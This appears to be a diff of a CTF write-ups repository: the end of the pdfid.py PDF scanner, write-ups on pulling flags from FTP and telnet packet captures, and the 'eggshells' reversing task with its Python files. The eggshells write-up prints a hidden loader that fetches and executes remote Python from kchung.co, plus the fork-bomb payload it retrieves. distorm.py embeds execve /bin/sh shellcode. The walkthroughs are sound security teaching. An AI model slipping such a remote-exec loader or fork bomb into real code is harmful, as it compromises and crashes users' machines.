keys = sorted(words.keys())
|
||||
for word in keys:
|
||||
if not word in keywords:
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = word
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(words[word][0])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(words[word][1])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
eleDates = xmlDoc.createElement('Dates')
|
||||
xmlDoc.documentElement.appendChild(eleDates)
|
||||
dates.sort(key=lambda x: x[0])
|
||||
for date in dates:
|
||||
eleDate = xmlDoc.createElement('Date')
|
||||
eleDates.appendChild(eleDate)
|
||||
att = xmlDoc.createAttribute('Value')
|
||||
att.nodeValue = date[0]
|
||||
eleDate.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = date[1]
|
||||
eleDate.setAttributeNode(att)
|
||||
return xmlDoc
|
||||
|
||||
def PDFiD2String(xmlDoc, force):
|
||||
result = 'PDFiD %s %s\n' % (xmlDoc.documentElement.getAttribute('Version'), xmlDoc.documentElement.getAttribute('Filename'))
|
||||
if xmlDoc.documentElement.getAttribute('ErrorOccured') == 'True':
|
||||
return result + '***Error occured***\n%s\n' % xmlDoc.documentElement.getAttribute('ErrorMessage')
|
||||
if not force and xmlDoc.documentElement.getAttribute('IsPDF') == 'False':
|
||||
return result + ' Not a PDF document\n'
|
||||
result += ' PDF Header: %s\n' % xmlDoc.documentElement.getAttribute('Header')
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
|
||||
result += ' %-16s %7d' % (node.getAttribute('Name'), int(node.getAttribute('Count')))
|
||||
if int(node.getAttribute('HexcodeCount')) > 0:
|
||||
result += '(%d)' % int(node.getAttribute('HexcodeCount'))
|
||||
result += '\n'
|
||||
if xmlDoc.documentElement.getAttribute('CountEOF') != '':
|
||||
result += ' %-16s %7d\n' % ('%%EOF', int(xmlDoc.documentElement.getAttribute('CountEOF')))
|
||||
if xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') != '':
|
||||
result += ' %-16s %7d\n' % ('After last %%EOF', int(xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')))
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
|
||||
result += ' %-23s %s\n' % (node.getAttribute('Value'), node.getAttribute('Name'))
|
||||
if xmlDoc.documentElement.getAttribute('TotalEntropy') != '':
|
||||
result += ' Total entropy: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('TotalEntropy'), xmlDoc.documentElement.getAttribute('TotalCount'))
|
||||
if xmlDoc.documentElement.getAttribute('StreamEntropy') != '':
|
||||
result += ' Entropy inside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('StreamEntropy'), xmlDoc.documentElement.getAttribute('StreamCount'))
|
||||
if xmlDoc.documentElement.getAttribute('NonStreamEntropy') != '':
|
||||
result += ' Entropy outside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('NonStreamEntropy'), xmlDoc.documentElement.getAttribute('NonStreamCount'))
|
||||
return result
|
||||
|
||||
def Scan(directory, allNames, extraData, disarm, force):
|
||||
try:
|
||||
if os.path.isdir(directory):
|
||||
for entry in os.listdir(directory):
|
||||
Scan(os.path.join(directory, entry), allNames, extraData, disarm, force)
|
||||
else:
|
||||
result = PDFiD2String(PDFiD(directory, allNames, extraData, disarm, force), force)
|
||||
print(result)
|
||||
logfile = open('PDFiD.log', 'a')
|
||||
logfile.write(result + '\n')
|
||||
logfile.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
#function derived from: http://blog.9bplus.com/pdfidpy-output-to-json
|
||||
def PDFiD2JSON(xmlDoc, force):
|
||||
#Get Top Layer Data
|
||||
errorOccured = xmlDoc.documentElement.getAttribute('ErrorOccured')
|
||||
errorMessage = xmlDoc.documentElement.getAttribute('ErrorMessage')
|
||||
filename = xmlDoc.documentElement.getAttribute('Filename')
|
||||
header = xmlDoc.documentElement.getAttribute('Header')
|
||||
isPdf = xmlDoc.documentElement.getAttribute('IsPDF')
|
||||
version = xmlDoc.documentElement.getAttribute('Version')
|
||||
entropy = xmlDoc.documentElement.getAttribute('Entropy')
|
||||
|
||||
#extra data
|
||||
countEof = xmlDoc.documentElement.getAttribute('CountEOF')
|
||||
countChatAfterLastEof = xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')
|
||||
totalEntropy = xmlDoc.documentElement.getAttribute('TotalEntropy')
|
||||
streamEntropy = xmlDoc.documentElement.getAttribute('StreamEntropy')
|
||||
nonStreamEntropy = xmlDoc.documentElement.getAttribute('NonStreamEntropy')
|
||||
|
||||
keywords = []
|
||||
dates = []
|
||||
|
||||
#grab all keywords
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
|
||||
name = node.getAttribute('Name')
|
||||
count = int(node.getAttribute('Count'))
|
||||
if int(node.getAttribute('HexcodeCount')) > 0:
|
||||
hexCount = int(node.getAttribute('HexcodeCount'))
|
||||
else:
|
||||
hexCount = 0
|
||||
keyword = { 'count':count, 'hexcodecount':hexCount, 'name':name }
|
||||
keywords.append(keyword)
|
||||
|
||||
#grab all date information
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
|
||||
name = node.getAttribute('Name')
|
||||
value = node.getAttribute('Value')
|
||||
date = { 'name':name, 'value':value }
|
||||
dates.append(date)
|
||||
|
||||
data = { 'countEof':countEof, 'countChatAfterLastEof':countChatAfterLastEof, 'totalEntropy':totalEntropy, 'streamEntropy':streamEntropy, 'nonStreamEntropy':nonStreamEntropy, 'errorOccured':errorOccured, 'errorMessage':errorMessage, 'filename':filename, 'header':header, 'isPdf':isPdf, 'version':version, 'entropy':entropy, 'keywords': { 'keyword': keywords }, 'dates': { 'date':dates} }
|
||||
complete = [ { 'pdfid' : data} ]
|
||||
result = json.dumps(complete)
|
||||
return result
|
||||
|
||||
def Main():
|
||||
oParser = optparse.OptionParser(usage='usage: %prog [options] [pdf-file|zip-file|url]\n' + __description__, version='%prog ' + __version__)
|
||||
oParser.add_option('-s', '--scan', action='store_true', default=False, help='scan the given directory')
|
||||
oParser.add_option('-a', '--all', action='store_true', default=False, help='display all the names')
|
||||
oParser.add_option('-e', '--extra', action='store_true', default=False, help='display extra data, like dates')
|
||||
oParser.add_option('-f', '--force', action='store_true', default=False, help='force the scan of the file, even without proper %PDF header')
|
||||
oParser.add_option('-d', '--disarm', action='store_true', default=False, help='disable JavaScript and auto launch')
|
||||
(options, args) = oParser.parse_args()
|
||||
|
||||
if len(args) == 0:
|
||||
if options.disarm:
|
||||
print('Option disarm not supported with stdin')
|
||||
options.disarm = False
|
||||
print(PDFiD2String(PDFiD('', options.all, options.extra, options.disarm, options.force), options.force))
|
||||
elif len(args) == 1:
|
||||
if options.scan:
|
||||
Scan(args[0], options.all, options.extra, options.disarm, options.force)
|
||||
else:
|
||||
print(PDFiD2String(PDFiD(args[0], options.all, options.extra, options.disarm, options.force), options.force))
|
||||
else:
|
||||
oParser.print_help()
|
||||
print('')
|
||||
print(' %s' % __description__)
|
||||
print(' Source code put in the public domain by Didier Stevens, no Copyright')
|
||||
print(' Use at your own risk')
|
||||
print(' https://DidierStevens.com')
|
||||
return
|
||||
|
||||
if __name__ == '__main__':
|
||||
Main()
|
||||
|
|
@ -0,0 +1,100 @@
|
|||
# Forensics-200: why not sftp?
|
||||
|
||||
The meaning of this problem is to teach about the need of encrypting your data. The [FTP] protocol sends clear text over the wire, *i.e* the data is transmitted without any encryption.
|
||||
[SSH/Secure File Transfer Protocol] is a network protocol providing secure file transfer. Using SFTP, instead of FTP, would avoid to find the flag in this problem in the way we did.
|
||||
|
||||
This is the second forensics problem and it starts with the following text:
|
||||
|
||||
> well seriously, why not?
|
||||
>
|
||||
> Written by marc
|
||||
>
|
||||
> [traffic-5.pcap]
|
||||
>
|
||||
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Analyzing the PCAP File
|
||||
|
||||
Now let's search for the flag! We open the [pcap] file in [Wireshark] (an open-source packet analyzer). There are several things that we could search for in this file, for instance we could look for FTP transactions or we could search for strings such as *password* or *flag*. We show both approaches.
|
||||
|
||||
|
||||
## Solution 1: Searching for the string *flag*
|
||||
|
||||
#### Going in the Wrong Way
|
||||
|
||||
So the first thing I did was searching for the string *password*:
|
||||
|
||||
1. Go to Edit
|
||||
2. Go to Find Packet
|
||||
3. Search for password choosing the options string and packet bytes.
|
||||
|
||||
Clicking on *Follow TCP Stream* gives:
|
||||

|
||||
|
||||
Nope. This is a misleading information!
|
||||
|
||||
---
|
||||
|
||||
#### But We Were Almost There!
|
||||
|
||||
Now, if we search for *flag* we actually find something:
|
||||
|
||||

|
||||
|
||||
We find the packet with a file named flag! Awesome.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Solution 2: Looking for the FTP Protocols
|
||||
|
||||
All right, let's use another information we have: it should be something related to the FTP protocol. In Wireshark, we can find specific protocol with filters. We want to filter for FTP with some data. We start trying the usual FTP-DATA port:
|
||||
|
||||
```
|
||||
tcp.port==20
|
||||
```
|
||||
|
||||
Nope. The results should be another port. Let's search explicitly for:
|
||||
|
||||
```
|
||||
ftp-data
|
||||
```
|
||||
|
||||
Cool, we found a few packets:
|
||||

|
||||
|
||||
We don't need to scroll down too much to find a packet with a string flag on it! Awesome.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Extracting the File
|
||||
|
||||
Once we find the packet with any of the methods above, we right-click it selecting *Follow TCP Stream*. This leads to:
|
||||
|
||||

|
||||
|
||||
The file *flag.png* is our flag. To extract it we click in the *Save as* button, then in the terminal we can use the command [file]:
|
||||
```sh
|
||||
$ file s.whatever
|
||||
s.whatever: Zip archive data, at least v2.0 to extract
|
||||
```
|
||||
|
||||
Awesome, so all we need is to *unzip* this file and we get *flag.png*:
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
**Hack all the Things!**
|
||||
[file]: http://en.wikipedia.org/wiki/File_(command)
|
||||
[SSH/Secure File Transfer Protocol]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol
|
||||
[traffic-5.pcap]: https://ctf.isis.poly.edu/static/uploads/7831788f2ab94feddc72ce53e80fda5f/traffic-5.pcap
|
||||
[sftp]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol
|
||||
[pcap]: http://en.wikipedia.org/wiki/Pcap
|
||||
[Wireshark]: https://www.wireshark.org/
|
||||
[FTP]: http://en.wikipedia.org/wiki/File_Transfer_Protocol
|
||||
Binary file not shown.
|
|
@ -0,0 +1,68 @@
|
|||
# Networking-100: Big Data
|
||||
|
||||
|
||||
|
||||
The problem starts with the following text:
|
||||
|
||||
> Something, something, data, something, something, big
|
||||
>
|
||||
> Written by HockeyInJune
|
||||
>
|
||||
> [pcap.pcapng]
|
||||
|
||||
|
||||
|
||||
____
|
||||
|
||||
## Inspecting the Wireshark File
|
||||
|
||||
The file extension [.pcapng] correspond to files for *packet capture*. They usually contain a dump of data packets captured over a network. This type of files holds blocks or data, and they can be used to rebuild captured packets into recognizable data.
|
||||
|
||||
We can open this file with [Wireshark], which is an open-source packet analyzer, or using [chaosreader], a freeware tool to trace TCP and UDP sessions. We choose the first. There are several things that we could explore and look for in this file. We could search for all the protocols inside and analyse them. We could inspect the addresses. Or we could look for specific strings such as logins or passwords.
|
||||
|
||||
## Searching for the String *Password*
|
||||
|
||||
It turned out that all we need was to look for the string *password*. To do this we followed these steps in Wireshark:
|
||||
1. Go to *Edit*
|
||||
2. Go to *Find Packet*
|
||||
3. Search for **password** choosing the options *string* and *packet bytes*.
|
||||
|
||||
Yay! We found something over a **telnet** protocol:
|
||||
|
||||

|
||||
|
||||
|
||||
____
|
||||
|
||||
## Following the TCP Stream
|
||||
|
||||
Now, all we need to do is to right-click in the line and choose *Follow TCP Stream*. This returns:
|
||||
|
||||
```
|
||||
..... .....'...........%..&..... ..#..'..$..%..&..#..............$.. .....'.............P...... .38400,38400....'.......XTERM.......".....!.....".....!............
|
||||
Linux 3.13.0-32-generic (ubuntu) (pts/0)
|
||||
|
||||
..ubuntu login: j.ju.ul.li.ia.an.n
|
||||
.
|
||||
..Password: flag{bigdataisaproblemnotasolution}
|
||||
.
|
||||
.
|
||||
Login incorrect
|
||||
..ubuntu login:
|
||||
```
|
||||
|
||||
And we find our flag: **bigdataisaproblemnotasolution**!
|
||||
|
||||
|
||||
**Hack all the things!**
|
||||
|
||||
Ps: If you had decided to use *chaosreader* to process the pcapng file instead, the solution [from this write-up] is also cool:
|
||||
```sh
|
||||
for f in pcap.pcapng-chaosreader/*.html; do cat "${f}" | w3m -dump -T text/html "${f}"; done | egrep "flag{"
|
||||
```
|
||||
|
||||
[from this write-up]: http://evandrix.github.io/ctf/2014-csaw-networking-100-bigdata.html
|
||||
[pcap.pcapng]:https://github.com/ctfs/write-ups/blob/master/csaw-ctf-2014/big-data/pcap.pcapng
|
||||
[.pcapng]: https://appliance.cloudshark.org/blog/5-reasons-to-move-to-pcapng/
|
||||
[Wireshark]: https://www.wireshark.org/
|
||||
[chaosreader]:http://chaosreader.sourceforge.net/
|
||||
Binary file not shown.
|
|
@ -0,0 +1,137 @@
|
|||
# Reverse Engineering-100: eggshells
|
||||
|
||||
This is the first exploitation problem and it starts with the following text:
|
||||
|
||||
> I trust people on the internet all the time, do you?
|
||||
>
|
||||
> Written by ColdHeat
|
||||
>
|
||||
> eggshells-master.zip
|
||||
|
||||
___
|
||||
## Unzipping and Analyzing the Files
|
||||
|
||||
Let’s unzip the provided zip file:
|
||||
|
||||
```sh
|
||||
$ unzip eggshells-master.zip
|
||||
```
|
||||
|
||||
This creates a directory called *eggshells-master* that contains several *Python* and *exe* files. Let us look closer to the contend of this folder:
|
||||
|
||||
```sh
|
||||
$ tree .
|
||||
├── capstone.py
|
||||
├── distorm.py
|
||||
├── interpreter.py
|
||||
├── main.py
|
||||
├── nasm
|
||||
│ ├── LICENSE
|
||||
│ ├── nasm.exe
|
||||
│ ├── ndisasm.exe
|
||||
│ └── rdoff
|
||||
│ ├── ldrdf.exe
|
||||
│ ├── rdf2bin.exe
|
||||
│ ├── rdf2com.exe
|
||||
│ ├── rdf2ihx.exe
|
||||
│ ├── rdf2ith.exe
|
||||
│ ├── rdf2srec.exe
|
||||
│ ├── rdfdump.exe
|
||||
│ ├── rdflib.exe
|
||||
│ └── rdx.exe
|
||||
├── nasm.py
|
||||
├── server.py
|
||||
├── shellcode.py
|
||||
├── utils.pyc
|
||||
└── wrapper.py
|
||||
```
|
||||
|
||||
Do you see anything unusual?
|
||||
|
||||
___
|
||||
|
||||
## Decompiled a pre-compiled Python File
|
||||
|
||||
A pre-compiled Python file stands out in this list: *utils.pyc*. We need to decompile it. For this task we use [uncompyle2], which can be installed with:
|
||||
|
||||
```sh
|
||||
$ sudo pip install uncompyle2
|
||||
```
|
||||
|
||||
Let's learn a bit more about this tool with ```uncompyle2 --help```. The usage is straightfoward, but it's a good knowledge to learn about the *-o* flag, which will decompile to a *.dis* file instead of *stdout*:
|
||||
|
||||
```sh
|
||||
Usage: uncompyle2 [OPTIONS]... [ FILE | DIR]...
|
||||
|
||||
Examples:
|
||||
uncompyle2 foo.pyc bar.pyc # decompile foo.pyc, bar.pyc to stdout
|
||||
uncompyle2 -o . foo.pyc bar.pyc # decompile to ./foo.dis and ./bar.dis
|
||||
uncompyle2 -o /tmp /usr/lib/python1.5 # decompile whole library
|
||||
|
||||
Options:
|
||||
-o <path> output decompiled files to this path:
|
||||
if multiple input files are decompiled, the common prefix
|
||||
is stripped from these names and the remainder appended to
|
||||
<path>
|
||||
uncompyle -o /tmp bla/fasel.pyc bla/foo.pyc
|
||||
-> /tmp/fasel.dis, /tmp/foo.dis
|
||||
uncompyle -o /tmp bla/fasel.pyc bar/foo.pyc
|
||||
-> /tmp/bla/fasel.dis, /tmp/bar/foo.dis
|
||||
```
|
||||
|
||||
We could also use *.py* extension if we like:
|
||||
```sh
|
||||
--py use '.py' extension for generated files
|
||||
```
|
||||
|
||||
Also, we learn about all the possible outputs:
|
||||
```sh
|
||||
Extensions of generated files:
|
||||
'.pyc_dis' '.pyo_dis' successfully decompiled (and verified if --verify)
|
||||
'.py' with --py option
|
||||
+ '_unverified' successfully decompile but --verify failed
|
||||
+ '_failed' uncompyle failed (contact author for enhancement)
|
||||
```
|
||||
|
||||
All right, no more diverging. Let's play! We run the ```uncompyle2``` command and obtain the following:
|
||||
```sh
|
||||
$ uncompyle2 utils.pyc
|
||||
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
|
||||
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
|
||||
+++ okay decompyling utils.pyc
|
||||
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
|
||||
```
|
||||
|
||||
___
|
||||
## Parsing the Result and Voilà
|
||||
|
||||
So all that this file does is in this line:
|
||||
```python
|
||||
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
|
||||
```
|
||||
|
||||
To understand this code,, we need to know that Python's [exec] method performs dynamic execution of code. In this problem, *exec* starts importing [urllib2], which is a library for opening URLs. It has the method [urlopen()] to open the URL url, which can be either a string or a request object. This function returns a file-like object with three additional methods. Finally, [read()] would read this returned file.
|
||||
|
||||
So all that this script does is to try running a Python file that is hosted online!
|
||||
Well, let's see what this file does! Let's just *curl* [http://kchung.co/lol.py]:
|
||||
|
||||
```sh
|
||||
$ curl http://kchung.co/lol.py
|
||||
import os
|
||||
while True:
|
||||
try:
|
||||
os.fork()
|
||||
except:
|
||||
os.system('start')
|
||||
# flag{trust_is_risky}
|
||||
```
|
||||
|
||||
The flag is **trust_is_risky**! Easy!
|
||||
|
||||
|
||||
[uncompyle2]: https://github.com/gstarnberger/uncompyle
|
||||
[http://kchung.co/lol.py]: http://kchung.co/lol.py
|
||||
[exec]: https://docs.python.org/2/reference/simple_stmts.html#exec
|
||||
[urllib2]: https://docs.python.org/2/library/urllib2.html#module-urllib2
|
||||
[urlopen()]: https://docs.python.org/2/library/urllib2.html#urllib2.urlopen
|
||||
[read()]: http://www.tutorialspoint.com/python/file_read.htm
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
import utils
|
||||
from capstone import *
|
||||
|
||||
def arch(arch):
|
||||
if arch == 'arm':
|
||||
return CS_ARCH_ARM
|
||||
elif arch == 'arm64':
|
||||
return CS_ARCH_ARM64
|
||||
elif arch == 'mips':
|
||||
return CS_ARCH_MIPS
|
||||
elif arch == 'x86':
|
||||
return CS_ARCH_X86
|
||||
|
||||
|
||||
def mode(mode):
|
||||
if mode == 'arm':
|
||||
return CS_MODE_ARM
|
||||
elif mode == 'thumb':
|
||||
return CS_MODE_THUMB
|
||||
elif mode == '16' or mode == 16:
|
||||
return CS_MODE_16
|
||||
elif mode == '32' or mode == 32:
|
||||
return CS_MODE_32
|
||||
elif mode == '64' or mode == 64:
|
||||
return CS_MODE_32
|
||||
|
||||
|
||||
def disassemble(code, _arch, _mode):
|
||||
_arch = arch(_arch)
|
||||
_mode = mode(_mode)
|
||||
|
||||
md = Cs(_arch, _mode)
|
||||
|
||||
disassembly = []
|
||||
|
||||
for i in md.disasm(CODE, 0x0000000):
|
||||
disassembly.append(
|
||||
(i.address, len(str(i.bytes).encode('hex')) / 2, str(i.bytes).encode('hex'), i.mnemonic, i.op_str))
|
||||
|
||||
return disassembly
|
||||
|
||||
|
||||
CODE = "\x90\x90\x90"
|
||||
|
||||
for x in disassemble(CODE, 'x86', '64'):
|
||||
print "0x%08x (%02x) %-20s %s %s" % (x[0], x[1], x[2], x[3], x[4])
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
import utils
|
||||
import distorm3
|
||||
import re
|
||||
|
||||
hex_regex = re.compile(r'0x\w*')
|
||||
|
||||
def disassemble(shellcode, mode=32):
|
||||
'''
|
||||
Does disassembly with distorm3 and handles the string joining
|
||||
'''
|
||||
if mode == 32:
|
||||
disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode32Bits)
|
||||
|
||||
elif mode == 64:
|
||||
disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode64Bits)
|
||||
|
||||
elif mode == 16:
|
||||
disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode16Bits)
|
||||
|
||||
disassembly = ''
|
||||
for line in disasm:
|
||||
|
||||
hexvals = hex_regex.findall(line[2])
|
||||
if len(hexvals) > 0 and ('PUSH' in line[2] or 'MOV' in line[2]):
|
||||
line = list(line) # Why you give me tuple Distorm?
|
||||
if len(hexvals[0][2:]) > 2:
|
||||
line[2] = line[2] + '\t; ' + hexvals[0][2:].decode('hex')
|
||||
else:
|
||||
line[2] = line[2] + '\t; ' + str(int(hexvals[0], 16))
|
||||
|
||||
disassembly += "0x%08x (%02x) %-20s %s" % (line[0], line[1], line[3], line[2]) + "\n"
|
||||
|
||||
return disassembly
|
||||
|
||||
if __name__ == '__main__':
|
||||
print disassemble('\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05', 64)
|
||||
|
|
@ -0,0 +1,837 @@
|
|||
"""A Tkinter-based console for conversing with the Python interpreter,
|
||||
featuring more tolerant pasting of code from other interactive sessions,
|
||||
better handling of continuations than the standard Python interpreter,
|
||||
highlighting of the most recently-executed code block, the ability to
|
||||
edit and reexecute previously entered code, a history of recently-entered
|
||||
lines, automatic multi-level completion with pop-up menus, and pop-up help.
|
||||
|
||||
Ka-Ping Yee <ping@lfw.org>, 18 April 1999. This software is in the public
|
||||
domain and is provided without express or implied warranty. Permission to
|
||||
use, modify, or distribute the software for any purpose is hereby granted."""
|
||||
|
||||
# TODO: autoindent to matching bracket after an unbalanced line (hard)
|
||||
# TODO: outdent after line starting with "break", "raise", "return", etc.
|
||||
# TODO: keep a stack of indent levels for backspace to jump back to
|
||||
# TODO: blink or highlight matching brackets
|
||||
# TODO: delete the prompt when joining lines; allow a way to break lines
|
||||
import utils
|
||||
from Tkinter import *
|
||||
import sys, string, traceback, types, __builtin__
|
||||
|
||||
REVISION = "$Revision: 1.4 $"
|
||||
VERSION = string.split(REVISION)[1]
|
||||
|
||||
class OutputPipe:
|
||||
"""A substitute file object for redirecting output to a function."""
|
||||
|
||||
def __init__(self, writer):
|
||||
self.writer = writer
|
||||
self.closed = 0
|
||||
|
||||
def __repr__(self):
|
||||
return "<OutputPipe to %s>" % repr(self.writer)
|
||||
|
||||
def read(self, length):
|
||||
return ""
|
||||
|
||||
def write(self, data):
|
||||
if not self.closed: self.writer(data)
|
||||
|
||||
def close(self):
|
||||
self.closed = 1
|
||||
|
||||
|
||||
class Console(Frame):
|
||||
def __init__(self, parent=None, dict={}, **options):
|
||||
"""Construct from a parent widget, an optional dictionary to use
|
||||
as the namespace for execution, and any configuration options."""
|
||||
Frame.__init__(self, parent)
|
||||
|
||||
# Continuation state.
|
||||
|
||||
self.continuation = 0
|
||||
self.error = 0
|
||||
self.intraceback = 0
|
||||
self.pasted = 0
|
||||
|
||||
# The command history.
|
||||
|
||||
self.history = []
|
||||
self.historyindex = None
|
||||
self.current = ""
|
||||
|
||||
# Completion state.
|
||||
|
||||
self.compmenus = []
|
||||
self.compindex = None
|
||||
self.compfinish = ""
|
||||
|
||||
# Redirection.
|
||||
|
||||
self.stdout = OutputPipe(lambda data, w=self.write: w(data, "stdout"))
|
||||
self.stderr = OutputPipe(lambda data, w=self.write: w(data, "stderr"))
|
||||
|
||||
# Interpreter state.
|
||||
|
||||
if not hasattr(sys, "ps1"): sys.ps1 = ">>> "
|
||||
if not hasattr(sys, "ps2"): sys.ps2 = "... "
|
||||
self.prefixes = [sys.ps1, sys.ps2, ">> ", "> "]
|
||||
self.startup = "Python %s\n%s\n" % (sys.version, sys.copyright) + \
|
||||
"Python Console v%s by Ka-Ping Yee <ping@lfw.org>\n" % VERSION
|
||||
self.dict = dict
|
||||
|
||||
# The text box.
|
||||
|
||||
self.text = Text(self, insertontime=200, insertofftime=150)
|
||||
self.text.insert("end", self.startup)
|
||||
self.text.insert("end", sys.ps1)
|
||||
self.text.bind("<Return>", self.cb_return)
|
||||
self.text.bind("<Button-1>", self.cb_select)
|
||||
self.text.bind("<ButtonRelease-1>", self.cb_position)
|
||||
self.text.bind("<ButtonRelease-2>", self.cb_paste)
|
||||
self.text.bind("<Home>", self.cb_home)
|
||||
self.text.bind("<Control-Home>", self.cb_ctrlhome)
|
||||
self.text.bind("<Up>", self.cb_back)
|
||||
self.text.bind("<Down>", self.cb_forward)
|
||||
self.text.bind("<Configure>", self.cb_cleanup)
|
||||
self.text.bind("<Expose>", self.cb_cleanup)
|
||||
self.text.bind("<Key>", self.cb_cleanup)
|
||||
self.text.bind("<Tab>", self.cb_complete)
|
||||
self.text.bind("<Left>", self.cb_position)
|
||||
self.text.bind("<space>", self.cb_space)
|
||||
self.text.bind("<BackSpace>", self.cb_backspace)
|
||||
self.text.bind("<KeyRelease-BackSpace>", self.cb_nothing)
|
||||
self.text.bind("<F1>", self.cb_help)
|
||||
self.text.bind("<Control-slash>", self.cb_help)
|
||||
self.text.bind("<Alt-h>", self.cb_help)
|
||||
|
||||
# The scroll bar.
|
||||
|
||||
self.scroll = Scrollbar(self, command=self.text.yview)
|
||||
self.text.config(yscrollcommand=self.scroll.set)
|
||||
self.scroll.pack(side=RIGHT, fill=Y)
|
||||
self.text.pack(fill=BOTH, expand=1)
|
||||
self.text.focus()
|
||||
|
||||
# Configurable options.
|
||||
|
||||
self.options = {"stdoutcolour": "#7020c0",
|
||||
"stderrcolour": "#c03020",
|
||||
"morecolour": "#a0d0f0",
|
||||
"badcolour": "#e0b0b0",
|
||||
"runcolour": "#90d090"}
|
||||
apply(self.config, (), self.options)
|
||||
apply(self.config, (), options)
|
||||
|
||||
def __getitem__(self, key):
|
||||
return self.options[key]
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
if not self.options.has_key(key):
|
||||
raise KeyError, 'no such configuration option "%s"' % key
|
||||
self.options[key] = value
|
||||
if key == "stdoutcolour":
|
||||
self.text.tag_configure("stdout", foreground=value)
|
||||
if key == "stderrcolour":
|
||||
self.text.tag_configure("stderr", foreground=value)
|
||||
|
||||
def config(self, *args, **dict):
|
||||
"""Get or set configuration options in a Tkinter-like style."""
|
||||
if args == () and dict == {}:
|
||||
return self.options
|
||||
if len(args) == 1:
|
||||
return self.options[args[0]]
|
||||
for key, value in dict.items():
|
||||
self[key] = value
|
||||
|
||||
# Text box routines.
|
||||
|
||||
def trim(self, command):
|
||||
"""Trim any matching prefix from the given command line, returning
|
||||
the amount trimmed and the trimmed result."""
|
||||
for prefix in self.prefixes:
|
||||
if command[:len(prefix)] == prefix:
|
||||
return len(prefix), command[len(prefix):]
|
||||
return 0, command
|
||||
|
||||
def getline(self, line=None, trim=0):
|
||||
"""Return the command on the current line."""
|
||||
if line is None:
|
||||
line, pos = self.cursor()
|
||||
command = self.text.get("%d.0" % line, "%d.end" % line)
|
||||
if trim:
|
||||
trimmed, command = self.trim(command)
|
||||
return command
|
||||
|
||||
def cursor(self):
|
||||
"""Get the current line and position of the cursor."""
|
||||
cursor = self.text.index("insert")
|
||||
[line, pos] = map(string.atoi, string.split(cursor, "."))
|
||||
return line, pos
|
||||
|
||||
def write(self, data, tag=None):
|
||||
"""Show output from stdout or stderr in the console."""
|
||||
if self.intraceback and data[-2:] == "\n ": data = data[:-1]
|
||||
start = self.text.index("insert")
|
||||
self.text.insert("insert", data)
|
||||
end = self.text.index("insert")
|
||||
if tag: self.text.tag_add(tag, start, end)
|
||||
|
||||
# History mechanism.
|
||||
|
||||
def cb_back(self, event):
|
||||
"""Step back in the history."""
|
||||
if self.history:
|
||||
if self.historyindex == None:
|
||||
self.current = self.getline(trim=1)
|
||||
self.historyindex = len(self.history) - 1
|
||||
elif self.historyindex > 0:
|
||||
self.historyindex = self.historyindex - 1
|
||||
self.recall()
|
||||
|
||||
return "break"
|
||||
|
||||
def cb_forward(self, event):
|
||||
"""Step forward in the history."""
|
||||
if self.history and self.historyindex is not None:
|
||||
self.historyindex = self.historyindex + 1
|
||||
if self.historyindex < len(self.history):
|
||||
self.recall()
|
||||
else:
|
||||
self.historyindex = None
|
||||
self.recall(self.current)
|
||||
|
||||
return "break"
|
||||
|
||||
def recall(self, command=None):
|
||||
"""Show a command from the history on the current line."""
|
||||
if command is None:
|
||||
command = self.history[self.historyindex]
|
||||
line, pos = self.cursor()
|
||||
current = self.getline(line)
|
||||
trimmed, trimmedline = self.trim(current)
|
||||
cutpos = "%d.%d" % (line, trimmed)
|
||||
self.text.delete(cutpos, "%d.end" % line)
|
||||
self.text.insert(cutpos, command)
|
||||
self.text.mark_set("insert", "%d.end" % line)
|
||||
|
||||
# Completion mechanism.
|
||||
|
||||
def precontext(self):
|
||||
# Scan back for the identifier currently being typed.
|
||||
line, pos = self.cursor()
|
||||
command = self.getline()
|
||||
preceding = command[:pos]
|
||||
startchars = string.letters + "_"
|
||||
identchars = string.letters + string.digits + "_"
|
||||
while pos > 0 and preceding[pos-1] in identchars:
|
||||
pos = pos - 1
|
||||
preceding, ident = preceding[:pos], preceding[pos:]
|
||||
start = "%d.%d" % (line, pos)
|
||||
|
||||
preceding = string.strip(preceding)
|
||||
context = ""
|
||||
if not ident or ident[0] in startchars:
|
||||
# Look for context before the start of the identifier.
|
||||
while preceding[-1:] == ".":
|
||||
